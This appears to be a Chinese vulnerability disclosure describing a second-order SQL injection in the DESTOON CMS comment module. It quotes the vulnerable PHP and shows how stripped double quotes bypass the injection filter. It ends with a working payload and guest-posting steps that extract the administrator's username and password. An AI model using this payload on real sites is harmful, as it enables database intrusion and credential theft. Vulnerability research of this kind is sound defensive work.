### 简要描述:
DESTOON sql注入漏洞
### 详细说明:
一枚二次注入,因为使用了dhtmlspecialchars导致防注入失效。可以任意数据。
先来看留言模块:
\module\extend\comment.inc.php
```
$item = $db->get_one("SELECT title,linkurl,username,status FROM ".get_table($mid)." WHERE itemid=$itemid"); //从数据库中取出对于模块的发布数据
$item or exit;
$item['status'] > 2 or exit;
$linkurl = $MODULE[$mid]['linkurl'].$item['linkurl'];
$template = $message = $forward = '';
$username = $item['username'];
$title = $item['title']; //看这里 我们这个标题是可以控制的 而且没有转义。 再看看下面 $title有没有被带入数据库中。
$could_del = false;
```
在这个文件的130行有这样一句
```
$db->query("INSERT INTO {$DT_PRE}comment (item_mid,item_id,item_title,item_username,content,quotation,qid,addtime,username,hidden,star,ip,status) VALUES ('$mid','$itemid','$title','$username','$content','$quotation','$qid','$DT_TIME','$_username','$hidden','$star','$DT_IP','$status')"); 看见没有 $title被带入数据库中。但是有一点.item_username 接着title的后面,这个用户名基本不可控制,但是如果他item_username 为空的话那就可以了,这个发布的东西是允许游客发送的 所以在游客状态下 item_username 就为空,后面的$content我们又刚好可以控制。所以导致了注入的发生。
```
接下来就是要绕过防注入了..
看这个文件的第95行导致防注入函数失效。
$content = dhtmlspecialchars(trim($content));
```
function dhtmlspecialchars($string) {
if(is_array($string)) {
return array_map('dhtmlspecialchars', $string);
} else {
if(defined('DT_ADMIN')) {
return str_replace(array('&'), array('&'), htmlspecialchars($string, ENT_QUOTES));
} else {
return str_replace(array('&', '"', '"', '"'), array('&', '', '', ''), htmlspecialchars($string, ENT_QUOTES));
}
}
}
```
看见没有 " " " 分别把这三个替换成空了的.
那我们直接提交 这个 SEL"ECT 即可无限制注射。首先得发布一个东西,名字写的正常一点就可以通过了。
### 漏洞证明:
发布一个东西,注意了 信息标题最后一个必须为 反斜杠才行。
不能在登录状态发东西,必须为游客状态
url
http://127.0.0.1:8081/php/destoon/member/my.php?mid=5
[<img src="https://images.seebug.org/upload/201507/24202640e3bdf68fdfe8a1308972c5f964654eb0.png" alt="QQ截图20150724202540.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/24202640e3bdf68fdfe8a1308972c5f964654eb0.png)
通过之后 我们直接留言 exp:
```
,1,1,(SEL"ECT conc"at(username,0"x7c,password) FR"OM destoon_member WH"ERE admin=1 LIMIT 1),1,1,1,1,1,1,3)#
```
[<img src="https://images.seebug.org/upload/201507/24202816232c4a8f20c747ffdf4c75dcc686955e.png" alt="QQ截图20150724202711.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/24202816232c4a8f20c747ffdf4c75dcc686955e.png)
[<img src="https://images.seebug.org/upload/201507/242028269417a4407f9a0f9ac4fd9077b54cd9f3.png" alt="QQ截图20150724202718.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/242028269417a4407f9a0f9ac4fd9077b54cd9f3.png)
暂无评论